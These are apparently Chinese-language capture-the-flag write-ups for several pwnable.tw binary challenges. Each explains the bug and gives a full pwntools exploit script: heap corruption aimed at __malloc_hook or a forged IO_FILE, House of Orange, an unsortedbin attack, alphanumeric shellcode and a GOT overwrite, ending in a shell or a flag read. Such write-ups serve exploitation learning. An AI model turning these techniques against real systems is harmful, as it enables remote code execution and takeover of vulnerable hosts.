p.recvuntil(b"aaaaaaaa") libc_leak = u64(p.recv(6).ljust(8, b"\x00")) libc_base = libc_leak - 0x108 + 0xa0 - libc.symbols[b"__malloc_hook"] malloc_hook = libc_base + libc.symbols[b"__malloc_hook"] fake_chunk = malloc_hook - 0x23 one_list = [0x45216, 0x4526a, 0xef6c4, 0xf0567] print("[*] libc_leak:", hex(libc_leak)) print("[*] libc_base:", hex(libc_base)) print("[*] malloc_hook:", hex(malloc_hook)) print("[*] fake_chunk:", hex(fake_chunk)) #gdb.attach(p) # leak heap remote_offset = 0x410 #remote-0x410 local-0x0 punish(1) set_note(9, 0x48, p64(malloc_hook+0x68)*2) list_all() p.recvuntil(b"multiple homicides") p.recvuntil(b"Prisoner: ") heap_leak = u64((b""+p.recv(6)).ljust(8, b"\x00")) heap_base = heap_leak - 0x2169a0 + remote_offset print("[*] heap_leak:", hex(heap_leak)) print("[*] heap_base:", hex(heap_base)) # realloc attach ## link to fake_chunk set_note(2, 0x68, b"aaaa") #target_chunk set_note(3, 0x20, b"split") set_note(2, 0x78, b"bbbb") target_chunk = heap_base + 0x2169a0 - remote_offset print("[*] target_chunk:", hex(target_chunk)) payload = p64(heap_base)*3+p64(0x000000010000002d)+p64(heap_base)+p64(0x10)+p64(target_chunk+0x10) set_note(9, 0x48, payload) set_note(1, 0x10, p64(fake_chunk)) ## get_fakechunk set_note(3, 0x68, b"cccc") one_gadget = libc_base + one_list[3] set_note(4, 0x30, b"a"*(0x13-0x8)+p64(one_gadget)+p64(libc_base+0x83b1b)) set_note(5, 0x40, b"split") ## write malloc_hook set_note(4, 0x68, b"") print("[*] malloc_hook:", hex(malloc_hook)) print("[*] one_gadget:", hex(one_gadget)) # get shell p.sendafter(b"> ", b"note\n") p.sendafter(b"Cell: ", b"0") p.sendafter(b"Size: ", str(0x80).encode()) p.interactive() if __name__ == "__main__": exp()
题目分析究极丧心病狂的题，只能使用元素周期表组合以及数字填充进行shellcode构造。顺带一提，题目名字二氧化锰的来由是写入shellcode的固定地址转ascii转译后的结果。可用指令分析：H 0: 48 dec eax He 0: 48 dec eax 1: 65 gs Li 0: 4c dec esp 1: 69 .byte 0x69 Be 0: 42 inc edx 1: 65 gs B 0: 42 inc edx C 0: 43 inc ebx N 0: 4e dec esi O 0: 4f dec edi F 0: 46 inc esi Ne 0: 4e dec esi 1: 65 gs Na 0: 4e dec esi 1: 61 popa Mg 0: 4d dec ebp 1: 67 addr16 Al 0: 41 inc ecx 1: 6c ins BYTE PTR es:[edi],dx Si 0: 53 push ebx 1: 69 .byte 0x69 P 0: 50 push eax S 0: 53 push ebx Cl 0: 43 inc ebx 1: 6c ins BYTE PTR es:[edi],dx Ar 0: 41 inc ecx 1: 72 .byte 0x72 K 0: 4b dec ebx Ca 0: 43 inc ebx 1: 61 popa Sc 0: 53 push ebx 1: 63 .byte 0x63 Ti 0: 54 push esp 1: 69 .byte 0x69 V 0: 56 push esi Cr 0: 43 inc ebx 1: 72 .byte 0x72 Mn 0: 4d dec ebp 1: 6e outs dx,BYTE PTR ds:[esi] Fe 0: 46 inc esi 1: 65 gs Co 0: 43 inc ebx 1: 6f outs dx,DWORD PTR ds:[esi] Ni 0: 4e dec esi 1: 69 .byte 0x69 Cu 0: 43 inc ebx 1: 75 .byte 0x75 Zn 0: 5a pop edx 1: 6e outs dx,BYTE PTR ds:[esi] Ga 0: 47 inc edi 1: 61 popa Ge 0: 47 inc edi 1: 65 gs As 0: 41 inc ecx 1: 73 .byte 0x73 Se 0: 53 push ebx 1: 65 gs Br 0: 42 inc edx 1: 72 .byte 0x72 Kr 0: 4b dec ebx 1: 72 .byte 0x72 Rb 0: 52 push edx 1: 62 .byte 0x62 Sr 0: 53 push ebx 1: 72 .byte 0x72 Y 0: 59 pop ecx Zr 0: 5a pop edx 1: 72 .byte 0x72 Nb 0: 4e dec esi 1: 62 .byte 0x62 Mo 0: 4d dec ebp 1: 6f outs dx,DWORD PTR ds:[esi] Tc 0: 54 push esp 1: 63 .byte 0x63 Ru 0: 52 push edx 1: 75 .byte 0x75 Rh 0: 52 push edx 1: 68 .byte 0x68 Pd 0: 50 push eax 1: 64 fs Ag 0: 41 inc ecx 1: 67 addr16 Cd 0: 43 inc ebx 1: 64 fs In 0: 49 dec ecx 1: 6e outs dx,BYTE PTR ds:[esi] Sn 0: 53 push ebx 1: 6e outs dx,BYTE PTR ds:[esi] Sb 0: 53 push ebx 1: 62 .byte 0x62 Te 0: 54 push esp 1: 65 gs I 0: 49 dec ecx Xe 0: 58 pop eax 1: 65 gs Cs 0: 43 inc ebx 1: 73 .byte 0x73 Ba 0: 42 inc edx 1: 61 popa La 0: 4c dec esp 1: 61 popa Ce 0: 43 inc ebx 1: 65 gs Pr 0: 50 push eax 1: 72 .byte 0x72 Nd 0: 4e dec esi 1: 64 fs Pm 0: 50 push eax 1: 6d ins DWORD PTR es:[edi],dx Sm 0: 53 push ebx 1: 6d ins DWORD PTR es:[edi],dx Eu 0: 45 inc ebp 1: 75 .byte 0x75 Gd 0: 47 inc edi 1: 64 fs Tb 0: 54 push esp 1: 62 .byte 0x62 Dy 0: 44 inc esp 1: 79 .byte 0x79 Ho 0: 48 dec eax 1: 6f outs dx,DWORD PTR ds:[esi] Er 0: 45 inc ebp 1: 72 .byte 0x72 Tm 0: 54 push esp 1: 6d ins DWORD PTR es:[edi],dx Yb 0: 59 pop ecx 1: 62 .byte 0x62 Lu 0: 4c dec esp 1: 75 .byte 0x75 Hf 0: 48 dec eax 1: 66 data16 Ta 0: 54 push esp 1: 61 popa W 0: 57 push edi Re 0: 52 push edx 1: 65 gs Os 0: 4f dec edi 1: 73 .byte 0x73 Ir 0: 49 dec ecx 1: 72 .byte 0x72 Pt 0: 50 push eax 1: 74 .byte 0x74 Au 0: 41 inc ecx 1: 75 .byte 0x75 Hg 0: 48 dec eax 1: 67 addr16 Tl 0: 54 push esp 1: 6c ins BYTE PTR es:[edi],dx Pb 0: 50 push eax 1: 62 .byte 0x62 Bi 0: 42 inc edx 1: 69 .byte 0x69 Po 0: 50 push eax 1: 6f outs dx,DWORD PTR ds:[esi] At 0: 41 inc ecx 1: 74 .byte 0x74 Rn 0: 52 push edx 1: 6e outs dx,BYTE PTR ds:[esi] Fr 0: 46 inc esi 1: 72 .byte 0x72 Ra 0: 52 push edx 1: 61 popa Ac 0: 41 inc ecx 1: 63 .byte 0x63 Th 0: 54 push esp 1: 68 .byte 0x68 //free push Pa 0: 50 push eax 1: 61 popa U 0: 55 push ebp Np 0: 4e dec esi 1: 70 .byte 0x70 Pu 0: 50 push eax 1: 75 .byte 0x75 Am 0: 41 inc ecx 1: 6d ins DWORD PTR es:[edi],dx Cm 0: 43 inc ebx 1: 6d ins DWORD PTR es:[edi],dx Bk 0: 42 inc edx 1: 6b .byte 0x6b Cf 0: 43 inc ebx 1: 66 data16 Es 0: 45 inc ebp 1: 73 .byte 0x73 Fm 0: 46 inc esi 1: 6d ins DWORD PTR es:[edi],dx Md 0: 4d dec ebp 1: 64 fs No 0: 4e dec esi 1: 6f outs dx,DWORD PTR ds:[esi] Lr 0: 4c dec esp 1: 72 .byte 0x72 Rf 0: 52 push edx 1: 66 data16 Db 0: 44 inc esp 1: 62 .byte 0x62 Sg 0: 53 push ebx 1: 67 addr16 Bh 0: 42 inc edx 1: 68 .byte 0x68 Hs 0: 48 dec eax 1: 73 .byte 0x73 Mt 0: 4d dec ebp 1: 74 .byte 0x74 Ds 0: 44 inc esp 1: 73 .byte 0x73 Rg 0: 52 push edx 1: 67 addr16 Cn 0: 43 inc ebx 1: 6e outs dx,BYTE PTR ds:[esi] Fl 0: 46 inc esi 1: 6c ins BYTE PTR es:[edi],dx Lv 0: 4c dec esp 1: 76 .byte 0x76 11 0: 31 31 xor DWORD PTR [ecx],esi 12 0: 31 32 xor DWORD PTR [edx],esi 13 0: 31 33 xor DWORD PTR [ebx],esi 14 0: 31 .byte 0x31 1: 34 .byte 0x34 15 0: 31 .byte 0x31 1: 35 .byte 0x35 16 0: 31 36 xor DWORD PTR [esi],esi 17 0: 31 37 xor DWORD PTR [edi],esi 18 0: 31 38 xor DWORD PTR [eax],edi 19 0: 31 39 xor DWORD PTR [ecx],edi 10 0: 31 30 xor DWORD PTR [eax],esi 21 0: 32 31 xor dh,BYTE PTR [ecx] 22 0: 32 32 xor dh,BYTE PTR [edx] 23 0: 32 33 xor dh,BYTE PTR [ebx] 24 0: 32 .byte 0x32 1: 34 .byte 0x34 25 0: 32 .byte 0x32 1: 35 .byte 0x35 0: 32 36 xor dh,BYTE PTR [esi] 27 0: 32 37 xor dh,BYTE PTR [edi] 28 0: 32 38 xor bh,BYTE PTR [eax] 29 0: 32 39 xor bh,BYTE PTR [ecx] 20 0: 32 30 xor dh,BYTE PTR [eax] 31 0: 33 31 xor esi,DWORD PTR [ecx] 32 0: 33 32 xor esi,DWORD PTR [edx] 33 0: 33 33 xor esi,DWORD PTR [ebx] 34 0: 33 .byte 0x33 1: 34 .byte 0x34 35 0: 33 .byte 0x33 1: 35 .byte 0x35 36 0: 33 36 xor esi,DWORD PTR [esi] 37 0: 33 37 xor esi,DWORD PTR [edi] 38 0: 33 38 xor edi,DWORD PTR [eax] 39 0: 33 39 xor edi,DWORD PTR [ecx] 30 0: 33 30 xor esi,DWORD PTR [eax] 41 0: 34 31 xor al,0x31 42 0: 34 32 xor al,0x32 43 0: 34 33 xor al,0x33 44 0: 34 34 xor al,0x34 45 0: 34 35 xor al,0x35 46 0: 34 36 xor al,0x36 47 0: 34 37 xor al,0x37 48 0: 34 38 xor al,0x38 49 0: 34 39 xor al,0x39 40 0: 34 30 xor al,0x30 51 0: 35 .byte 0x35 1: 31 .byte 0x31 52 0: 35 .byte 0x35 1: 32 .byte 0x32 53 0: 35 .byte 0x35 1: 33 .byte 0x33 54 0: 35 .byte 0x35 1: 34 .byte 0x34 55 0: 35 .byte 0x35 1: 35 .byte 0x35 56 0: 35 .byte 0x35 1: 36 ss 57 0: 35 .byte 0x35 1: 37 aaa 58 0: 35 .byte 0x35 1: 38 .byte 0x38 59 0: 35 .byte 0x35 1: 39 .byte 0x39 50 0: 35 .byte 0x35 1: 30 .byte 0x30 61 0: 36 ss 1: 31 .byte 0x31 62 0: 36 ss 1: 32 .byte 0x32 63 0: 36 ss 1: 33 .byte 0x33 64 0: 36 ss 1: 34 .byte 0x34 65 0: 36 ss 1: 35 .byte 0x35 66 0: 36 ss 1: 36 ss 67 0: 36 37 ss aaa 68 0: 36 ss 1: 38 .byte 0x38 69 0: 36 ss 1: 39 .byte 0x39 60 0: 36 ss 1: 30 .byte 0x30 71 0: 37 aaa 1: 31 .byte 0x31 72 0: 37 aaa 1: 32 .byte 0x32 73 0: 37 aaa 1: 33 .byte 0x33 74 0: 37 aaa 1: 34 .byte 0x34 75 0: 37 aaa 1: 35 .byte 0x35 76 0: 37 aaa 1: 36 ss 77 0: 37 aaa 1: 37 aaa 78 0: 37 aaa 1: 38 .byte 0x38 79 0: 37 aaa 1: 39 .byte 0x39 70 0: 37 aaa 1: 30 .byte 0x30 81 0: 38 31 cmp BYTE PTR [ecx],dh 82 0: 38 32 cmp BYTE PTR [edx],dh 83 0: 38 33 cmp BYTE PTR [ebx],dh 84 0: 38 .byte 0x38 1: 34 .byte 0x34 85 0: 38 .byte 0x38 1: 35 .byte 0x35 86 0: 38 36 cmp BYTE PTR [esi],dh 87 0: 38 37 cmp BYTE PTR [edi],dh 88 0: 38 38 cmp BYTE PTR [eax],bh 89 0: 38 39 cmp BYTE PTR [ecx],bh 80 0: 38 30 cmp BYTE PTR [eax],dh 91 0: 39 31 cmp DWORD PTR [ecx],esi 92 0: 39 32 cmp DWORD PTR [edx],esi 93 0: 39 33 cmp DWORD PTR [ebx],esi 94 0: 39 .byte 0x39 1: 34 .byte 0x34 95 0: 39 .byte 0x39 1: 35 .byte 0x35 96 0: 39 36 cmp DWORD PTR [esi],esi 97 0: 39 37 cmp DWORD PTR [edi],esi 98 0: 39 38 cmp DWORD PTR [eax],edi 99 0: 39 39 cmp DWORD PTR [ecx],edi 90 0: 39 30 cmp DWORD PTR [eax],esi 01 0: 30 31 xor BYTE PTR [ecx],dh 02 0: 30 32 xor BYTE PTR [edx],dh 03 0: 30 33 xor BYTE PTR [ebx],dh 04 0: 30 .byte 0x30 1: 34 .byte 0x34 05 0: 30 .byte 0x30 1: 35 .byte 0x35 06 0: 30 36 xor BYTE PTR [esi],dh 07 0: 30 37 xor BYTE PTR [edi],dh 08 0: 30 38 xor BYTE PTR [eax],bh 09 0: 30 39 xor BYTE PTR [ecx],bh 00 0: 30 30 xor BYTE PTR [eax],dh 主要思路： 把eax赋值为esp，然后向栈中写入esi/edi的值，以便借助异或清空esi/edi 借助Thxxxx这样的push语句和可以pop ecx的语句将ecx指向末位用于制造int 0x80的位置 移动ecx的指针，同时修改esi/edi，借助异或语句制造出int 0x80（至于用什么值异或可以另外写个脚本fuzz以下，可选的对象还是挺多的） esi值得改变通过inc/dec完成，可能会占掉很长一段，需要合理安排 调用到SYS_read之后向最末尾读入可以直接getshell的shellcode（需要提前安排好ecx的位置） EXP：from pwn import * #p = process("./mno2") p = remote('chall.pwnable.tw','10301') elf = ELF("./mno2") context.log_level = "debug" ''' reg status: EAX 0x324f6e4d ◂— dec eax /* 0x484848; 'HHH' */ shellcode start EBX 0x0 ECX 0x0 EDX 0x8048890 ◂— dec eax /* 'H' */ EDI 0xf7fa8000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0 ESI 0xf7fa8000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0 EBP 0xffffcf18 ◂— 0x0 ESP 0xffffcedc —▸ 0x80487ea (main+169) ◂— mov dword ptr [esp], 0 EIP 0x324f6e4d ◂— dec eax /* 0x484848; 'HHH' */ ''' ''' target status1: eax = 11 ebx -> '/bin/sh' 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68 ecx = 0 edx = 0 int 0x80 b'\xcd\x80' ''' ''' target status2: eax = 3 ebx =0 ecx = addr(end_of_shellcode) edx = (big num) int 0x80 b'\xcd\x80' ''' shellcode = b"V" #push esi; shellcode += b"Th1111" #push esp; push 0x33333333; shellcode += b"XeXe" #pop eax;#pop eax; shellcode += b"ThMoO2" #push esp; push 0x324f6e4d(shellcode start) shellcode += b"30" #xor esi,DWORD PTR [eax]; shellcode += b"38" #xor edi,DWORD PTR [eax]; shellcode += b"Y" #pop ecx; shellcode += b"O" #dec edi; shellcode += b"19" #xor DWORD PTR [ecx],edi shellcode += b"Ag"*1 #inc ecx;addr16; shellcode += b"F"*0x46 #inc esi; shellcode += b"11" #xor DWORD PTR [ecx],esi shellcode += b"Ag"*1 #inc ecx;addr16; new shellcode start shellcode += b"V" #push esi; shellcode += b"Xe" #pop eax; shellcode += b"Th1111" #pad; shellcode += b"Hg"*0x43 #dec eax; shellcode += b"B"*(0x100-len(shellcode)) shellcode += b"29" def exp(): #gdb.attach(p, "b *0x80487E8\nc\n") p.sendline(shellcode) p.sendline(asm(shellcraft.sh())) p.interactive() if __name__ == "__main__": exp()
漏洞点： 虽然给了源码但是漏洞得看二进制文件才能看出，结合flag，这是C++运算符重载相关的漏洞 edit的时候存在栈复用，可以任意指针free 漏洞原理： 正常运算符重载的写法（这里只讨论写为成员函数）需要在成员函数末尾return *this，同时返回值需要为当前对象类型的引用类型，这个返回值会作为其他运算的右值，如a = b = c，为了保证程序正常，这个值必须要存在。 如果不主动写return *this，g++在编译的时候，会把返回值指针指向栈上一段同类型大小的空内存（填充为null），把这段空内存作为右值（隐式的return）然后析构这段内存。析构时遇到对象指针会先判断是否为空再执行delete。 但是空内存可以借助栈复用进行修改，构造出我们自定义的指针，这样在析构函数中如果有对某些指针域的delete，就可以构造出任意地址free 利用思路： 难点在第一步的leak heap。通过在bss上构造fakechunk和自定义指针free出bss上的chunk，然后借助一个非法size值跳过最后的析构避免doublefree，这样可以在不触发0截断时输出free过chunk上的fd值。具体细节，其实挺复杂，只可意会不可言传。 leak heap之后修改堆上对象内存指针指向保存了libc地址的位置，调用info成员函数leak libc 最后打__malloc_hook(需要__realloc_hook间接补全栈条件) EXPfrom pwn import * #p = process("./caov") p = remote("chall.pwnable.tw", 10306) elf = ELF("./caov") libc = ELF("./libc_64.so.6") #libc = ELF("./libc.so.6") context.log_level = "debug" def show(): p.recvuntil("Your choice: ") p.sendline(b"1") def edit(name, key_len:int, key, value): p.recvuntil("Your choice: ") p.sendline(b"2") p.recvuntil("Enter your name: ") p.sendline(name) p.recvuntil("New key length: ") p.sendline(str(key_len).encode()) if key_len > 1000: return p.recvuntil("Key: ") p.sendline(key) p.recvuntil("Value: ") p.sendline(str(value).encode()) def go_exit(): p.recvuntil("Your choice: ") p.sendline(b"3") def exp(): #const bss_name = 0x6032C0 fake_chunk = 0x6032a0 + 0x2 - 0x8 one_local = [0x45226, 0x4527a, 0xf0364, 0xf1207] one_remote = [0x45216, 0x4526a, 0xef6c4, 0xf0567] read_got = 0x602F40 #init init_name = b"eqqie" init_key = b"\x00"*0x30 init_value = str(0xdeadbeef).encode() p.recvuntil("Enter your name: ") p.sendline(init_name) p.recvuntil("Please input a key: ") p.sendline(init_key) p.recvuntil("Please input a value: ") p.sendline(init_value) #leak heap #gdb.attach(p, "b *0x4014c2\nb *0x4014f5\nb *0x401563\nc\n") #gdb.attach(p, "b *0x4014f5\nb *0x401563\nc\n") payload1 = p64(0)+p64(0x20)+b"DDDDDDDD" payload1 = payload1.ljust(0x20, b"A") payload1 += p64(0x20) + p64(0x20) payload1 = payload1.ljust(0x60, b"A") payload1 += p64(bss_name+0x10) edit(payload1, 20, b"A"*20, 0xdeadbeef) payload2 = p64(0)+p64(0x41)+p64(0) payload2 = payload2.ljust(0x40, b"A") payload2 += p64(0x00) + p64(0x20) payload2 = payload2.ljust(0x60, b"A") payload2 += p64(bss_name+0x10) edit(payload2, 1020, b"1", 0xdeadbeef) p.recvuntil(b"Key: ") p.recvuntil(b"Key: ") heap_leak = u64(p.recv(3).ljust(8, b"\x00")) heap_base = heap_leak - 0x11c90 data_obj = heap_base + 0x11ce0 - 0x10 heap_with_libc = heap_base + 0x11e30 print("heap_leak:", hex(heap_leak)) print("heap_base:", hex(heap_base)) print("data_obj:", hex(data_obj)) print("heap_with_libc:", hex(heap_with_libc)) #gdb.attach(p) # get obj chunk && leak libc #gdb.attach(p, "b *0x4014f5\nb *0x401563\nc\n") payload3 = p64(0) payload3 = payload3.ljust(0x60, b"B") payload3 += p64(data_obj+0x10) edit(payload3, 0x30, p64(read_got), 0xdeadbeef) show() p.recvuntil(b"Key: ") libc_leak = u64(p.recvuntil(b"\x0a", drop=True).ljust(8, b"\x00")) libc_base = libc_leak - libc.symbols[b"read"] one_gadget = libc_base + one_remote[1] malloc_hook = libc_base + libc.symbols[b"__malloc_hook"] fake_chunk = malloc_hook - 0x23 realloc = libc_base + libc.symbols[b"realloc"] print("libc_leak:", hex(libc_leak)) print("libc_base:", hex(libc_base)) print("one_gadget:", hex(one_gadget)) print("malloc_hook:", hex(malloc_hook)) print("fake_chunk:", hex(fake_chunk)) # get malloc_hook ## fakebin akkack payload4 = p64(0) + p64(0x71) payload4 = payload4.ljust(0x60, b"A") payload4 += p64(bss_name+0x10) payload4 = payload4.ljust(0x70, b"A") payload4 += p64(0x70) + p64(0x21) edit(payload4, 1020, b"1", 0xdeadbeef) ## fake fd payload5 = p64(0) + p64(0x71) payload5 += p64(fake_chunk) edit(payload5, 1020, b"1", 0xdeadbeef) ## get fake chunk edit(p64(0) + b"\x71", 0x60, b"1", 0xdeadbeef) #gdb.attach(p, "b *0x4014f5\nb *0x401563\nc\n") edit(b"eqqie", 0x60, b"a"*(0x13-0x8) + p64(one_gadget) + p64(realloc), 0xdeadbeef) p.sendline("cat /home/*/flag") p.interactive() if __name__ == "__main__": exp()
[pwnable.tw] Alive Note - 构造分段alpha_shellcode
漏洞利用程序Heap内存区域有执行权限，并且Add功能存在下标溢出。当使用负数下标时可以覆盖got表项指针指向堆内存，从而执行自定义shellcode。但是堆块输入限制非常大，只有8个字节，而且要求全为大小写字母或数字。也就是说需要用多个堆块借助拼接构造shellcode。为了简化利用，先构造调用SYS_read的shellcoed，然后借助它往堆上读执行execve("/bin/sh", NULL, NULL)的系统调用来getshell。主要难点 构造为全为大小写字母或数字的shellcode，这个思路网上很多，主要都是利用push, pop, xor, dec, jne之类的指令进行构造（注意xor的时候一般使用al寄存器） 使用jne指令连接多个块，jne的操作数是相对值，即目标指令相对于下一条指令的偏移，所以要考虑好两段shellcode中间间隔堆块的数量以便操作数在合法范围内。 通过减法+异或构造出int 0x80指令（技巧性很强）。 EXPfrom pwn import * #p = process("./alive_note") p = remote("chall.pwnable.tw", 10300) elf = ELF("./alive_note") context.log_level = "debug" context.arch = "i386" free_offset = -27 #free reg info ''' EAX 0x804b018 ◂— 'bbbb' (free arg) EBX 0x0 ECX 0x0 EDX 0x0 EDI 0xf7fa8000 (_GLOBAL_OFFSET_TABLE_) ◂— mov al, 0x2d /* 0x1b2db0 */ ESI 0xf7fa8000 (_GLOBAL_OFFSET_TABLE_) ◂— mov al, 0x2d /* 0x1b2db0 */ EBP 0xffffcee8 —▸ 0xffffcef8 ◂— 0x0 ESP 0xffffcebc —▸ 0x80488ef (del_note+81) ◂— add esp, 0x10 EIP 0x804b008 ◂— 'aaaa' (code) ''' def get_alpha_shellcode(raw): with open("./alpha3/raw.in", "wb") as r: r.write(asm(raw)) os.system('cd alpha3;python ALPHA3.py x86 ascii rax --input="raw.in" > alpha.out') res = b"" with open("./alpha3/alpha.out", "rb") as a: res = a.read() return res def add(idx:int, name): p.recvuntil(b"Your choice :") p.sendline(b"1") p.recvuntil(b"Index :") p.sendline(str(idx).encode()) p.recvuntil(b"Name :") p.sendline(name) def show(idx:int): p.recvuntil(b"Your choice :") p.sendline(b"2") p.recvuntil(b"Index :") p.sendline(str(idx).encode()) def delete(idx:int): p.recvuntil(b"Your choice :") p.sendline(b"3") p.recvuntil(b"Index :") p.sendline(str(idx).encode()) def chunk_pad(num): for i in range(num): add(10, b"aaaaaaa") def exp(): #build shellcode ## call SYS_read to read execve shellcode ### PYjzZu9 part1 = ''' push eax pop ecx push 0x7a pop edx ''' part1 = asm(part1) + b"\x75\x39" add(-27, part1) chunk_pad(3) ### SXH0AAu8 part2 = ''' push ebx pop eax dec eax xor BYTE PTR [ecx+0x41], al ''' part2 = asm(part2) + b"\x75\x38" add(0, part2) chunk_pad(3) ### 490ABSu8 part3 = ''' xor al, 0x39 xor BYTE PTR [ecx+0x42], al push ebx ''' part3 = asm(part3) + b"\x75\x38" add(0, part3) chunk_pad(3) ### Xj3X40u9 part4 = ''' pop eax push 0x33 pop eax xor al, 0x30 ''' part4 = asm(part4) + b"\x75\x39" add(1, part4) chunk_pad(3) ### 02F part5 = b"\x30\x32\x46" add(2, part5) #gdb.attach(p, "b *0x804b008\nb *0x804b10b\nc\n") delete(1) ## write shellcode to run next shellcode = asm(shellcraft.sh()) payload = b"a"*0x43 + shellcode p.sendline(payload) # getshell p.interactive() if __name__ == "__main__": exp()
[pwnable.tw] bookwrite - no free条件House_of_Orange + unsortedbin_attack
思路： Autor未设置截断导致heap泄露，strlen重设长度时包含下一个chunk的size导致溢出; 进行house of orange释放原先的topchunk进入unsortedbin（进入过程可以借助scanf中malloc分配缓冲区来完成），以此可以泄露libc; （关键）unsortedbin attack攻击IO_list_all，使其的指针指向main_arena+0x58，然后以此为IO_FILE结构体，再通过struct _IO_FILE *_chain域指向堆上的unsortedbin位置; 只要提前在unsortedbin位置伪造好IO_FILE结构体和vtable就可以借助_IO_flush_all_lockp（在触发malloc_printerr时会被调用）调用system("/bin/sh\x00")来getshell. 分析历程这里有个很操蛋的地方卡了很久...开始一直弄不明白unsortedbin attack修改掉IO_list_all之后如何构造struct _IO_FILE *_chain指向堆上我们伪造的结构。分析发现如果把main_arena+0x58看作结构体，则对应smallbin[4]（0x60）的索引位置，也就是只要有一个0x60的smallbin被free就可以构成链表。但是想了很久还是不明白如何让unsortedbin进入这个位置...又翻了好久的源代码发现在尝试对unsortedbin进行分割前，其中一个判断条件要满足的是：bck == unsorted_chunks (av)，而bck = victim->bk 。换句话说，只要unsorted chunk中的bk指针被修改掉之后，一定不会满足这个判断，也就一定不会进入分割unsorted chunk的过程。如果我们提前借助堆溢出修改unsorted chunk大小为0x61，则在下次分配一个0x10的堆块时就会进入下面把unsorted chunk置入smallbin的分支过程，这一举动刚好使得smallbin[4]（0x60）的索引位置出现了原先unsorted chunk的指针。加上一定的构造之后（相关限制条件可以看ctfwiki）就可以通过触发报错拿shell了。总结一下就是：在bk指针被破坏之后，原本可能发生的unsorted chunk分割条件无法满足，而是直接把整个unsorted chunk置入smallbin对应位置（注意不是fastbin，不能只看大小，要看程序流）。这些细节勿略掉可能会在很浅显的地方翻车。EXP:from pwn import * #p = process("./bookwriter", env = {"LD_PRELOAD":"./libc.so.6"}) p = remote("chall.pwnable.tw", 10304) elf = ELF("./bookwriter") libc = ELF("./libc_64.so.6") context.log_level = "debug" def send_choice(idx:int): p.recvuntil(b"Your choice :") p.sendline(str(idx).encode()) def add(size, content): send_choice(1) p.recvuntil(b"Size of page :") p.sendline(str(size).encode()) p.recvuntil(b"Content :") p.send(content) def view(idx:int): send_choice(2) p.recvuntil(b"Index of page :") p.sendline(str(idx).encode()) def edit(idx:int, content): send_choice(3) p.recvuntil(b"Index of page :") p.sendline(str(idx).encode()) p.recvuntil(b"Content:") p.send(content) def info(new_author=None): send_choice(4) p.recvuntil(b"(yes:1 / no:0)") if new_author != None: p.sendline(b"1") p.recvuntil(b"Author :") p.send(new_author) else: p.sendline(b"0") def go_exit(): send_choice(5) def exp(): # const bss_author = 0x602060 bss_catalog = 0x6020a0 bss_sizelist = 0x6020e0 # set author author = b"a"*(0x40-0x2) + b"||" p.recvuntil(b"Author :") p.send(author) # leak libc && heap add(0x18, b"aaa") #0 ## leak libc edit(0, b"a"*0x18) edit(0, b"a"*0x18+b"\xe1\x0f\x00") #modify size of top_chunk info() # call printf to malloc(0x1000) && get unsortedbin add(0x78, b"aaaaaaaa") #1 view(1) #leak address preserved p.recvuntil(b"Content :\naaaaaaaa") libc_leak = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) libc_base = libc_leak - 0x3c4188 system = libc_base + libc.symbols[b"system"] stdout = libc_base + 0x3c5620 io_list_all = libc_base + libc.symbols[b"_IO_list_all"] print("libc_leak:", hex(libc_leak)) print("libc_base:", hex(libc_base)) print("stdout:", hex(stdout)) print("io_list_all:", hex(io_list_all)) ## leak heap send_choice(4) #info p.recvuntil(b"||") heap_leak = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) heap_base = heap_leak - 0x10 print("heap_leak:", hex(heap_leak)) print("heap_base:", hex(heap_base)) p.sendafter(b"(yes:1 / no:0)", b"0\n") chunk1_addr = heap_base + 0x20 print("chunk1_addr:", hex(chunk1_addr)) edit(0, b"\n") #set size[0]=0 for i in range(7): add(0x58, b"bbbb") ## unsortedbin attack pad = b"a"*0x330 ## build fake _IO_FILE and vtable data = b'/bin/sh\x00' data += p64(0x61) data += p64(0xdeadbeef) data += p64(libc_base + libc.symbols[b'_IO_list_all'] - 0x10) data += p64(2) data += p64(3) data = data.ljust(0xc0, b'\x00') data + p64(0xffffffffffffffff) data = data.ljust(0xe0-8, b'\x00') vtable = p64(0) * 3 + p64(libc_base + libc.symbols[b'system']) vtable_addr = heap_base + 0x420 data += p64(vtable_addr) data += vtable edit(0, pad+data) edit(0, b"\n") #set size[0]=0 send_choice(1) p.recvuntil(b"Size of page :") p.sendline(b"16") #gdb.attach(p) p.interactive() if __name__ == "__main__": exp()